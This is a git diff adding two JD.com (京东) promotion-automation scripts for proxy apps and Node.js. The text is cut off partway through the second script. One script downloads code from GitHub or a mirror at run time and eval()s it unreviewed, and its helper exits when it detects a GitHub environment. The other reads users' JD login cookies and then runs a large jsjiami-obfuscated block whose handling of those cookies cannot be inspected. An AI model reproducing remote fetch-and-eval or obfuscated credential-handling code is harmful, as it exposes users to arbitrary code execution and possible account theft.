b/jd_rankingList.js @@ -0,0 +1,60 @@ +/* + +活动入口:京东APP首页-更多频道-排行榜-悬浮按钮 + +自用 +author:yangtingxiao +github: https://github.com/yangtingxiao + */ +const $ = new Env('京东排行榜'); +main(); +async function main() { + $.http.get({url: `https://purge.jsdelivr.net/gh/yangtingxiao/QuantumultX@master/scripts/jd/jd_rankingList.js`}).then((resp) => { + if (resp.statusCode === 200) { + console.log(`${$.name}CDN缓存刷新成功`) + } + }); + await updateShareCodes(); + if (!$.body) await scriptsCDN(); + if ($.body) { + eval($.body); + } +} +function updateShareCodes(url = 'https://raw.githubusercontent.com/yangtingxiao/QuantumultX/master/scripts/jd/jd_rankingList.js') { + return new Promise(resolve => { + $.get({url}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + } else { + $.body = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function scriptsCDN(url = 'https://raw.fastgit.org/yangtingxiao/QuantumultX/master/scripts/jd/jd_rankingList.js') { + return new Promise(resolve => { + $.get({url}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.body = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_redPacket.js b/jd_redPacket.js new file mode 100644 index 0000000..2628ae1 --- /dev/null +++ b/jd_redPacket.js @@ -0,0 +1,90 @@ +/* +京东全民开红包 +Last Modified time: 2021-05-19 16:27:18 +活动入口:京东APP首页-领券-锦鲤红包。[活动地址](https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html) +未实现功能:领3张券功能 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +================QuantumultX================== +[task_local] +#京东全民开红包 +1 1,2,23 * * * jd_redPacket.js, tag=京东全民开红包, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true +===================Loon============== +[Script] +cron "1 1,2,23 * * *" script-path=jd_redPacket.js, tag=京东全民开红包 +===============Surge=============== +[Script] +京东全民开红包 = type=cron,cronexp="1 1,2,23 * * *",wake-system=1,timeout=3600,script-path=jd_redPacket.js +====================================小火箭============================= +京东全民开红包 = type=cron,script-path=jd_redPacket.js, cronexpr="1 1,2,23 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东全民开红包'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +$.redPacketId = []; + + +var _0xode='jsjiami.com.v6',_0x2868=[_0xode,'K8Kaw7HCjFU=','PlzCpmfCvA==','wrJ6PHnDmw==','wrxawoA=','X33DliE=','KsOwwrJ2P+acseisguivjuawgeWlvOi0kA3igKDvu6vig6TvuZo=','IMKCw50=','DcKAw6nCjGk=','ccK6fWhn','J8K/w7LCsGw=','wqPCj8OCVxE=','OzY9DcK1','MMOaSkAl','w4bDnuWNi+i2oeWInOWIgee7peWMv8Ot5oiW5Yuc77y857mt5Y6TwoNqw5g=','c0/CksOhUA==','wrLDo8KcBh4=','DcOaSGYAwrPDm31bQsKM','cMOewokgAw==','w5YYwpYufA==','wrhTw7RhwrE=','BCHljLvotanli4LliqHnuoXljJAS5ae46Leb776p','esKywrZfLw==','w5wzwoEVesKV','w6YywpQDdA==','FcKvwp3Ci8Ov','wrMpw4jCiEQ=','5Y+R6LWO5YqL5Yi157i+5Y+2w7jlpajotq/vvpw=','N8KXwrjCjsONwozDocOfCA==','wqrDpyhHwpvDjA==','ZMOmwrjCmCTCnMKDw6Jfb3kcwogDwpPClsKVGsOeR8OnH3gww5HDiE4=','OcOSfEvDtknDsw==','woXDujnDscOQ','BDYxK8KJ','AMOtZ8Kow5w=','wrzDr8KiBS0=','B8O+bUIV','H8KSw74TNw==','DsKnwpXCssOwwq7DmsOmMCxdewk=','w4zDjcOEdjkxC8KJw7EwJcKyBA==','w7x3EVcACQ97TcKF','w7taYhQ=','OcOSfHvDvlDDtw==','Wn0IVUQ=','AMKOw4AWLg==','w5ddQBQx','VcKKwqltFA==','wpDChD1AQw==','F8OiOQEHw4w=','w6LClAZEw44=','wp7Dp8KWHD/DoA==','DVPCiHfCgQ==','eEvCrsOQeQ==','ekolckA=','wpJvJn3Dpg==','wogow6LCgzZe','bMOTwrQ/Ag==','wrPCoSB/Zg==','eCpWw5PDnw==','PcOKZsKLw4s=','J8K9w4zCiWk=','wprCiRxF','albCssOb','SV7CvEok','wrVbwpE=','wppxwrgzwoV8TcOp','wrd4EkTDsw==','wqFOw5vDucOz','w5pQJmwxLyFYeg==','MXnCpw==','LcKNwq7CgsObwqTDrg==','EMO2SnHDrg==','eTdxw7c=','wpRtwoEvwqk=','FcOxNwIw','H8OPJzEA','w4TCiDZ7w6U=','wpgVN1IN','d2NXw4DDqg==','wpHDqcKdNSjDtw==','UF8fTGZDw5fCu8Ob','JsKGw4jCm2M=','IcOJBTo1','McOSw4wGMlDDijvCgcOcZ3rDuCVt','chbCoMOQwqcjw5MZwphrPsO3wrpwFg==','RgPCpMKiHcK5w69AVhjCjMOeZcKZw70=','woPCiRZDWBw=','R0IeRmdRw5DCqQ==','wo3Dp8KZGz/DscKxw7dV','wrsww67Cvl/DvBcQ','Sl/CtsKiBsKlw7dd','CDU8BcKhw41D','OsOWfH4=','csOubsKQwrA=','YmUHXF8=','wpJrG3PDrg==','w4XClBtow78=','wp7Dp8KUOD/DqcKS','SEfCnMKNLw==','wr7DtMKfNCI=','M8KawrLCpcO7','5Yqz5Yq45b+D5bqL77+J','wr3Cj8OdQ8Kww4TDusKgwpQ=','PMOECgwgw7w=','w53CnQZEw4bCplLCoMOyC8Kgw6kkLF/CgSzCmjHCpBdUZMOzwpnClALCiULCvQfCpcOlRMKMKMOPUxMyw4rDi8Klwp9vw7U8dsK+YcORw75VMiRJwqLCvMK4UjTCpsOgYsK3McO7wokrRsOqwpPDssKWBMKTwr3DgsK0wrxjUcK2w5XCj8OBcsOlwo82CcOVwrjCuHxyZxXDsihLWkLCmMKQwrpTR8KWdMKNaMKIW1PDicOwwp3DviF/wrdZw4vCvx44PAkbInPDisOj','w7HCghZaw4jCuGHDq8O2G8Kow7Q=','WcOTwrkpNcKsF8Otw47DgMOXUA==','OU/Ct3rCvA==','eMKBwqBSPw==','wojDt2PDosKFOGIOw7V2EcKDOjx/wppLwofDqsKkw5bCmz/CgWbDtnnDvcKewqfCtzZZw4XCmMOoA8Kdw73CqMOSYcK5w51Aw4oMw4fDq8K/LxZ3NXvDhcOmwqrDkzdjwqVyTBTDqlTCjCvCllDCkMKaw43Cu8KSTjPChcO3wrg4w4fCiCrCoVfChA7DncKdKmPDh3bDjcKdwojCkAnDp8KowpXDv8KxflDChMKIJ33Ct8OYYsOwNi3DkcOsOmHDisOVwqfDgQXCkhDDl8Oyw7jCr8OtSg==','w6Igw5XCnTA=','LcOaAg==','LsKGw4QR','Q3nDiyvClC7Dm8KMYDEASQ==','wr5NUDs=','PsKIw57CrmXDtVvCjsOLw5kE','a0jCp8O3e0zDvsK8Y27ChHQ=','ZlrCqVMI','C0zCl2gawqgow5UrWcK2K8Oww63CoyNE','OsO3wqHDhiDDlsOUw6wVU3sB','OsKwYsKPwrMhw5rDrMOmwpQRAsO6','w7jCqTZr','NMOTaW/Drx/DvyxeOcO8SjgnO8Kzw6TCoXhxwpPDtQlYQsKQw5NIwpBFwprDssOcKMOtw6RbEsKKw7PDlsKKwrrDlSgjH8KRw6kaeR3DnMK8w6Uiw5XCoUPCtsKDcWjDhkZMGHEcGELCscKswrHCux/DlHEPwrXDqcOWIBLCrsODNsOCwoJIX8KoGV7CmChyw6bDvi8ow5gFw71CLAI1w5/DnyzCm8KgwqzDocOzwovDtMOnw6dcWcKofcKOwqoEesKGw6fDuhYkw71/EMOhw5INKSZYw7zCn8OhwobCrXpRbE7CsEMpwr/DgMOywr/DvBU=','acOPwp8uDw==','UU4eUGRQ','dg4cEhU=','FsOmamjDkQ==','wpfDkivDoMK1','DQIdO8Kt','wpPCqh1UVw==','DA7DmjRh','DcOHRlIW','WjgVCMKgwpU=','w4HDsnPDpcKAdSoYwqcqRMOUYHNwwpMHw5HDpcO1w5nCnGrDg2zDpTbDrMKGwrvCszQIwqDCm8OqEcKGw7PCq8KcfcKkwo1Lw4xIwpHCqsOhOxJ0YSvChMK7w77CiX0qwrBwCULCsQHDhyXClkTCkMKfw5/CscOFEX7DnMKxw7s0w4bCnSnCpErDkg7CmcOKK3fDhX3CmsKZw43DlAvDosKrw5TCu8KpfAHCkQ==','B1jCt1HCug==','wrVUw5d2wrc=','csO5w7vCrDM=','wqRvw4jDo8OWw49Ke8OfYsOjF8O3aEzCpzLDpMKjwr13wpnDok1ZasK7w7h0w7ETM8Kjw4/DvDTCgcOhw5nDkllEw41Ow6Nw','PEHCrsOXwqp3','dGl1w6LDvg==','Ojptw6oAwqDCo8Odb8KXLyXDuA/DhcKKw7LDt8KPK1smw5pZwpUWTsKWHMO/w7Ixw6jDkcKlw6NCwqQmJsKDwoIxwphmw6LCqkvCkUjCicKbUTZceUhjw6UOD8KcbcO5UsKDf3XCjsOrG3LDksO0RMKzW8Klw4zDtW/CncKndMOzKHvCrsKFwrXDiiLDv8K8MsKNOcOdwqxkw4A1VcKWGSfDvsK9','w6dyw47Chx3Dj3DCpyVnw5MjHCTDnw==','dsKpwptpJA==','wovDlnHDocKy','HlPCiXlEw6w/','dsOtwrs0DA==','CcO5RH7Dqg==','w4o3woYB','wo/DtVfDucKq','UCNHw6bDoA==','BETCr214','w57CiA1Nw5PCvg==','woXDqGLDtcOZ','cwVCw6fDmg==','TwZCw6LDmD/CoMKCdQ==','wrjCmsOWwqHDmQ==','T2bCuV0m','fhc8Cjo=','WHHCkMKlIA==','N8OqYMKQw48ZJMKkTsOiBWMhwotEUAx6wrXDohRvFsKIFEjDj8KwEhBWKMOA','w5vCni1Fw4PCsw==','e8KvwqI=','w4UDw7DCsTrDo1TCkRBZw58DLA==','wpUdw4LCiGPDjCs7w6lowqIvw4A=','McOjwofChDs=','BcO4KBsNw49Xw5jDoxI=','fUbCtcOXwrI+w4Q=','W8KLUVZB','PsOcSEYv','G8KCw5DCl2s=','aULCpMOs','wr7CscOpwqPDmcOu','cHo6YGY=','UcOTwpweKw==','wp7ClsOEQsKc','LDQeJMKD','5Lm85Lip6aWx6aCC54G55YeF4oCE6aCo5Ymc4oCB6YCtw7hhw7rkuq7li7DChw==','Pm3Cg3bCkw==','wrxawoAywrJM','EsK2wqzCtsOk','PCLCsHHChsO1wo7DsMO5Y8OYw6LDlMKfWg==','wrV4ClY=','ECnljJDot4Tlibrli5HnuIfljbXDjOaIguWLqO++g+e5vOWMkCcyfw==','WT5Ww64H','ZMOcw5zCly0=','w4N7UwUTworDlcK6djnCpA==','wodDw6F/','w7fCnC1Hw4Q=','wpDCh8O1dR0AP8Ktw4I8Dw==','wrctw6nCrUPCs1ZLw4tLwolPw77Ds003IDkUw5LDjsKtMjrCkws1wq7Cm05Dw548w7NRw6ltw7NVTMOVNyDDsmfDgA3CocO/w7JJfMOcFMO3woLCsUzDn8KNNsOMwooiw5JiO2tQw6rCpzkxJSwnwrBs','fMOjw7PCniM=','eVNrw6XDrg==','RRdGw4jDuw==','Q0bCqMOmwrs=','woHDuS7DoMKb','wpXDhj5WwqU=','wp9Sw7DDssOk','QsOZQMKZwo8=','wrhqMFjDsiA=','f03Ctw==','RMKXwqx2JMKbwrhgHAV6fkg=','w71jC1UNBxBnXMKBwofDmsO4','wo3DuSrDssKh','w7QwwpsHZQ==','w4FQIHUsBz5bccKZwrzDvMOc','CVjCiA==','wrPDgFnDnMK2B0p5w4BaM8K/DA==','HC7Dhw9E','woLDuys=','TsO7wpMJCMKNDMORw7/DpMO9cMKt','f8KywqcMwrTDuA==','fkjCow==','esKKwrt1Jw==','wrvCjStzZQ==','RMKuwpIWwpQ=','w7bDtMObwobDvOadv+iupeivjeayj+Wkt+i1pgbig7Pvupnig7bvuKE=','wpLCg8OjVhk=','VMOUwpgXIw==','IsKMw5fCmw==','w6V5w5zCjXnmnazorpvorpPms6rlpJ7ot4JB4oKo77qP4oCV77md','6aKg5Y2a5LmO5YmM772+','IcKmw7zCkHc=','fcKbwrVIBQ==','wrZDQx88w5g=','wobDpTTCpsKAwofDoMOZw7rDjiNi','wpzDtsKKHDPDpsKDw7ZRRig9dcKFw5Euw7HDuMK+WiZTByRnTVvCiMOHFjVINA==','w43CqCw=','w4YiwoYQZcObwqVSXD4uOcOeSsObw6NvAMKGH0JGc8KeFcKcw5bCiSbCicO/eMKOwpFLaRZ0B8K6RcOTO8Oaw7MLw7sqTCTDj8OkwrNwMTAcwrjDpsOiVsOLwph8wrgAZcKZTjbDpGjDlsK2cE0=','BCEYNR0AAMOawqhqw53DuSA9XMKPNHrCshJWw6jDiWotEsKO','UGrCmMO+Zw==','QnfCn8KjPA==','MDzDhQxL','wo/Ds3LDvMKXcj0Pw7dzDMKcIXt+w5EEw5DCpcOiwovCkA==','wrVawqgmwoY=','wppaw719wo8=','wr4yw4XCp3g=','VQF+w6TDkj0=','wpBoew8dw69WOkPDjBHDpMOn','IcKNwrw=','Nh4lOcKKw611N3hubHTCow==','Wz5Hw47Dmg==','KsOsaWQ+wpHDt11hXw==','wrg8w6nCuVHDvRg=','MMO7asK3w60=','e1jDrgU=','T8O/w7vCggDDqQ==','w4UzwosT','GcOQXnMAwrPDmA==','wpLCl8OiTQ==','w4s4woQ=','XsObaMKYwrMxw5DDqg==','wp8jw6c=','UMO4wpMdH8KAAcOP','ei50w7AB','wqwtw6/CtF7DrhACw5E=','XWrClcO7woYI','M8OiecKI','aU7CnnoKTkY=','w45BIGE+PCk=','wr7DqcKVGzPDoMKow4YK','ecKkwqABwrLDosOT','Tkod','wrJ2EVzDvyA=','MMOzfMKIw4MI','VAZEw7vDhWLDpsOLbWhkw4bDmMOPSsKWwrvCnXpiesOXwqYP','44CM5o6f56Si44KS6K6T5YeV6Iys5Yyz5Lu75Lqz6LSx5Y+q5LuASsOJwonDsMO7woRV55qS5o+i5L+V55SBwrccCsKMNMO355iT5Luz5LqA56+55Yuw6Iym5Y+n','wpoKMUcZZ8KSw6jDl8OhC8KRBMOgDyfCncKgwonDtMKgCkxcw4zDvzfDtxfDg8OVci/DgcKGwp7Cm37ClcOVwrLClcOD','w6QRwrV0','J8OWYWQP','wo7Dt8KrPBU=','wrJYUCp0woUrBmbDpXrDi8OdLBrClQ4GwoTDtRzClATDk3DCnMOSw446TA==','wqlrw7/DpcOS','JcKWwr7Cj8OMwpnDhcOAIgN5RzgJwoPCvg==','w7MgwohZDA==','wr18EFDDoi0=','cS5sw6AM','R1jCocKkEQ==','ecKjwr9JEcK9wo4=','fsK5wpBNOMK1wo1c','N8Oowq8=','w4YxwpbCucKP5b+15aau44GE5LiS5LiO6Las5Y+O','c8OSwqg8Ig==','wr9wHVzDmCRowoU=','wq/DuwNtwo7Dl8K3','wpwfKFI=','44Ki5oy956WZ44C7w4TCuU3DpcOxCuW0v+Wmt+aUjg==','5LuV5LmY6LaP5Y6y','aVdGw4vDpA==','w7vorJvphqjmlobnmY/lvL3ojr7lj4d/PsKVwqLCqg4yQw9Pw5xtwoHCq8Oow6zDksOsVcOew4XDjRp5wqBYX8OBbGUHDcKQwqdZw4VZL0jDisObw5XCgMOJ','OsKIw4IOL1zltY7lpaPmlr3ChQM0','OUXCm2p4w6khw5U=','5LmO5Lu+6La35Y+S','w5vCgwdPw58=','LOitu+mFuOaVneeYn+W/meiOl+WOi8O5wocDTQTDgQ==','w41NJ2YwPSZK','wpjDtsK5Bi0=','dsOZwqI+LsKq','VUpHw5zDksKSwrU8','wq7DqnTDucKI','AVfCinte','ecOdwqIRP8KuJA==','wr5+w5jDg8OEwpYOMcOKW8Ou','UBdew6zDgjA=','dsOTwqs=','w7BH6IW75bSH6LW85Y+d5Yap6YOF5Lm95Yui','wqJQwoMnwqFdc8OLEFVS','eMOwUA==','6LSa5Y6FEA==','MsOpwqzCjTU=','wooqw7jCr37DqBQB','OuW8o+Wkiue5qsOz','w5LovqXooInlip7li7E=','wpRXw7xfwpDCssOX','wpYiw7Y=','5q265pe35bS655eA5a+B5ouu5raF5Yig54GQ54i277yY6Laf5YSt5YuC5Yi9','N3bCv1rCl8Owwog=','dULCsA==','BCHmn6PlibfkvLLlipPlirzmnK/kvKjli5DnuKfkv6/og5ArwoJ7wo/Ds2Me6L6E6KK75YmB5Yml','w64yw5vCjAbDlEvCtwJ2w7s/HQjDg2w=','T0QK','wrh3GlLDrg==','w5o0w4rClifDh2vCqw==','wo7ovo3oor7li4nlio0=','PcOWZlfDukjDpg==','Vy8P','5qyh5pWJ5beQ55aG5ayQ77+/6LSr5Yaj5Yij5Yid','L8KMw47CnWw=','VWTlppjotaAMwpjljLvlmKxIw4Y=','akTChHs=','wo/Djjpawr4=','STjCnTkfw4TCl8KwQ8Kaw40=','asKsfX5e','chECEh8=','QnTCncKJJg==','wrIUw6fChUM=','W0HCpMOqSw==','aVPCrcOawqc=','UsKFwppyGw==','F8OtbmXDrw==','WGnDnCnCtg==','JFPCmUrCow==','w4Btw5DCphPmn4/or47or5rmsq3lpbrotbEC4oGx77iR4oGv77qT','wovDqGE=','UB1X','EjsXCQ==','6I6j5byI57qV5Y+Z77+s','HS3DmiZCw43DisK4','5YWaJ8Od','UhZtw7IR','worCpMOiwozDnQ==','IMKXwrrCqMOC','wo/CucOYesK0','QWLCo8O9ag==','XkbCtsOawos=','dG/DkDLCoA==','ZMO+VMK3wpMHw5bDmMOM','cVnCo8OoegLCksOwVn/CnjEADmUlwpMywr/DrcOSwrnDkcKbTsK3wqLDr8K+w6nCvCvCmwF5wqUJHWDDm8Opw5oewpzClcKiw7/Dhm1LwoLCikx8w5fCnGpyHMK2Z8KLNcOywqDDnHhCNw7DiE4/WG83BHAYJkrDpMOOQ1rDmsO2w4jDuHjDgn5EwpJZwoU6wphVAsKZwogiw5DDvmUCNEdywqoTwoxFS8OOwpbClQjDgMKjw6EkBsOFc8OYDA49IQ9GN8K0bsKbwrAiwptKJ8OPw5o3w53DrMO6wpsAwo/DpMO4DUJ4wo/DoRIzDsONfEfCkxPCmR18wqrDvw/CtsOQWcOpw5ttcAJPZThSDcORw74gK0g6QcOTMyBCQMOuw77CugvCqU4BKlLDuMK/wqluPMOswo8mcC/Dthhdw44wVsKgwop6wrPDolVbYsOdw5rDv8OQWSvCjjZmCD/Cp8KEWDPDssKN','wrctw6nCrUPCs1ZLw4Aaw4kMwrrDqk18Lz8P','AMOhKCA+','wptAK0LDnA==','axh7w47Dmw==','W3jDmjTClmHDscK/XD8dR8O+wrLDglIPw7jCgsKxw4B0XcOoDBQhwrDCj8KZBsOBNzPCisOsScOeesKowooeEmYPw6PDr8O+cFYUc8Oew5pHwpPCrF5Hw5ksAcKRwpsTwoRSYMOuHsOUF8KpDsOVfGU8TTVhw71lw67Cpi3DnMK6Ew7CnsORwp/CjMOfw78iw6HCpMKsw6wpwrElwr5wOjgbw7nDucK1NFk/ODDCjWFqwoIcUcOPw7bDqyjDtMK2SX3Dpn81aVrCh2LDksOuHULDlsO5wr/DlsOmw4ZJUcOwe8OUQcOBEcKwVMORAMKbSgbDuFvCnjArw44eRzlZwpbCisKFR3I7PG1uw47DpMOTw41Xw5bDlcOLw6c7GUICw4plA8OkasO0bnPDqSILw6AEwrxkXFDCucObXiw0HXxlCzEUw7dAcQtVw6rCsyfDvD7CjcKDNRXCisKowossQ8Ksw73DvE7CiRB5woDDkld2w4jDosO2cMOqwoVpw5bCn8OpTwLCl1QPaF1bw43Cg0Ma','w7vCgjpNw60=','wqTCoMOuwqbDhsKgaBXCpTNtS8Ohw7zCrgDCm3zDjMKhXMKFwo3DpnoAGV8LI8ORw5cLKcKkw50Pw5IuKEXCusKsw73ClCbCqMOywp7DmsO2wq4dw7rCuMO/wq7DnsK1C8Ksw6fDl8KIw4jCg8KmCcOXDsKzAw==','TMOGRMK3wpQ=','Sy8bMQ==','LC48IcKa','wqIKA3op','wrvCuw99Yw==','RGLChMKoHQ==','wqrDqsKUNjg=','OHjCtg==','wpTDs3TDpcKKL3tGw6Y=','csKuwrM=','YErCh3s=','dFbCgVvorIXms57lp4notrzvvoHor63moZHmnannv6HotJXph6/oraM=','BAPCn3tCw6E6w5k5TMKeMcOxwqTDuw==','wqh6w4jDsg==','K8KCw5oENF3Djw==','GDMJD8K2w51JHA==','esKowqcGwrzDo8Ocw6U=','w4o/woEDecKUw6QJ','wqLDoTxhwobDi8K3Ww==','w4VxcTwKwozDmg==','wrIVw4XCtUY=','w5wLw4HCtgU=','U3VMw7zDsA==','CSXDmzZI','wphPw5RawpM=','wrTDrTx3woXDig==','w481woYpcg==','HlPCjW1aw7w=','OsOvc8KXw58+N8KxUMOJCjg4','bMKkwrA1wrLDtcOZw7QzQkY=','wp/CqhdTRQ==','wpd8WDELw5Q=','woEKN14EOsOUwqHDjA==','WcOKWV8Fw63CiCAXM8OQw7Mrwrx4w50WA0HCgy/Djz7CpRvDijhTC8O+esOUGjrCrMKRw5NNJWYdesKbw7vCtCMuwpsmfMOiFmg5R1bDgnzDq8K